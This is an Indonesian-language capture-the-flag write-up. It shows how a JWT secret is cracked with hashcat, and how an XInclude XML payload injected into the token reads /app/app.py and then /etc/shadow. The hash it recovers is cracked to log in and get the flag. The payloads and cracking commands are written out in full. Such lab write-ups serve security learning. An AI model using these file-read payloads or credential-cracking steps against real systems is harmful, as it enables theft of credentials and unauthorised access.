Bruteforce JWT & XXE LFI ( xinclude )
dapet clue setelah login dan kita view source terdapat comment /app/app.py ( kita tidak dapet mengakses ini karna ini adalah path local file )
cracking jwt through bruteforce attack: hashcat --potfile-disable -a 3 -m 16500 jwt.txt -O
dpt jwt secret : mstzt
inject xml di payload body jwt nya buat ngeleak /app/app.py yg ada di comment
isi jwt body :
{ "data": "<data><username><xi:include xmlns:xi="[http://www.w3.org/2001/XInclude/](http://www.w3.org/2001/XInclude/ "http://www.w3.org/2001/XInclude/")" parse="text" href="file:///app/app.py"/></username></data>"
}
kalo misal pake
{ "data": "<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file:///app/app.py">]><data><username>&file;</username></data>" }
bakal return no entity refference jadi pake payload diatas jadi pake xinclude attack.
setelah kita leak /app/app.py nya terdapat suatu endpoint yang "sus" :
@app.route('/secret-welcome-935734', methods=['GET'])
def secret_welcome():
# There is a linux user named 'flaguser'
# Login here with that username and their linux password.
auth = request.authorization
if auth is None or auth.username != 'flaguser' or auth.password != FLAGUSER_PASSWORD:
resp = flask.Response('Please provide the right credentials to get the flag')
resp.headers['WWW-Authenticate'] = 'Basic'
return resp, 401
return f'Congrats, here is your flag: {FLAG}'
terdapat flaguser dan flagpassword yang berisi akun linux. kita dapat leak akun linux tersebut menggunakan file /etc/shadow yang default ada di linux
langsung aja kita read pake payload diatas untuk read /etc/shadow
dan kita dapet flaguser dan juga hash password dari flaguser ini sendiri
flaguser:$1$hack$BzqsFHqkPjQ2Sn9amFsgN0:19767:0:99999:7:::
lgsg aja kita crack pake rockyou dan hashcat
hashcat --potfile-disable -a 3 -m 500 hash.txt
kita dapet identify hash btw untuk tau nya pake john
john hash_asli.txt
dan dapet qqz3
untuk passwordnya lgsg kita bikin requests ke sus endpoint yg tdi dan dpt flagnya
wctf{cr4ck1n_4nd_1nclud1n_4_th3_w1n_1352234}